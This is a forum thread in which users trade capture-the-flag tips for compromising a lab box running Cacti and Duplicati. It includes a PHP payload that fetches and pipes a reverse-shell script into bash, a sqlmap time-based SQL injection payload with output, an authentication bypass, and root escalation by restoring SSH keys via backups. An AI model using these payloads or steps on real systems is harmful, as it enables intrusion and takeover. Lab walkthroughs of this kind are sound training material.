[b2synapse]

Hi, can someone give me a short instruction to get a shell as www-data? 
I tried it with exploit(multi/http/cacti_package_import_rce), but it doesn't work.

I already have access to cacti with sqlmap.

Thx

[shadow__monarch]

Hi, can someone give me a short instruction to get a shell as www-data? 
I tried it with exploit(multi/http/cacti_package_import_rce), but it doesn't work.

I already have access to cacti with sqlmap.

Thx

HAVE YOU ADD VHOST?

[peRd1]

Hi, can someone give me a short instruction to get a shell as www-data? 
I tried it with exploit(multi/http/cacti_package_import_rce), but it doesn't work.

I already have access to cacti with sqlmap.

Thx

Follow this: https://github.com/Cacti/cacti/security/...-g5qc-pj88 for foothold, it's straight-forward!

adjust properly the payload:

PHP Code:

$filedata = "<?php system('curl 10.10.your.ip/rev.sh|bash') ?>"; 


and be quick to exec it from the /resource/test.php - it's going to be removed in a few minutes due to cleanup scripts, so yeah.
btw, if you're working on a free box with many users, don't leave it as test.php - obviously- since chances are you'll exec someone else's malicious plugin.

id rsa files are unique on this box on a per-box spawn basis just like flags. and there are no creds, you can grab your own marcus idrsa after pivoting to setup tunnel or use any other means (ligolo, chisel, meterpreter portfwd etc).

that's why it's pointless id rsa sharing or asking for creds. simply just foothold has to be done, then su marcus and portfwd 9200.

then privesc is logging into duplicati by auth bypass then as final step it's up to you what do you back (i.e. root flag).

[humanai]

Hi, can someone give me a short instruction to get a shell as www-data? 
I tried it with exploit(multi/http/cacti_package_import_rce), but it doesn't work.

I already have access to cacti with sqlmap.

Thx

HAVE YOU ADD VHOST?

I did not have to add VHOST, rhost supports dns names.  Also notice it's an authenticated attack

[shadow__monarch]

Hi, can someone give me a short instruction to get a shell as www-data? 
I tried it with exploit(multi/http/cacti_package_import_rce), but it doesn't work.

I already have access to cacti with sqlmap.

Thx

HAVE YOU ADD VHOST?

I did not have to add VHOST, rhost supports dns names.  Also notice it's an authenticated attack

yeah you need to add vhost and password

[test888]

can somebody drop the hash this shit is taking forever

dont do time-based, other injection methods work too

The only thing that worked was Stacked Query, basically changing the admin password hash to something like md5 of '1234' and using that pw to login, but I don't see anything interesting and the hashes can't be cracked with rockyou and john.

What do you mean it's faster? Elaborate please

They aren't really trolling.
Create a backup from /source/home/marcus to /source/tmp/test1
Restore created backup to /source/tmp/test2

Get id_rsa

I jumped a step. You can do this for the root flag directly without even getting marcus.

What are the exact steps you did?

---

I did create a backup for /root/root.txt and stored it in /tmp/flag
Then everytime I do a restore backup I get ``Failed to connect: No filesets found on remote target``

Same here, would appreciate details

[jsvensson]

for those who have trouble bypassing duplicati authentication
in burp you do intercept send login do forward copy session_nonce to noncedpwd command - substitute result to password - forward and then disable intercept
for getting shell as root:
generate ssh keys on your box - copy public key to some folder on box as authorized_keys, in duplicati create backup to backup this file and then restore it to /source/root/.ssh/ - now you should be able login with generated key as root

[rootme1122]

how steps???????

[test888]

for those who have trouble bypassing duplicati authentication
in burp you do intercept send login do forward copy session_nonce to noncedpwd command - substitute result to password - forward and then disable intercept
for getting shell as root:
generate ssh keys on your box - copy public key to some folder on box as authorized_keys, in duplicati create backup to backup this file and then restore it to /source/root/.ssh/ - now you should be able login with generated key as root

What are your steps to create the backup?

[Liy4]

---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=x' AND (SELECT 2000 FROM (SELECT(SLEEP(5)))GcxH) AND 'DeaG'='DeaG
---
[22:08:29] [INFO] the back-end DBMS is MySQL
[22:08:29] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0, PHP
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

can you tell what sqlmap command that you use.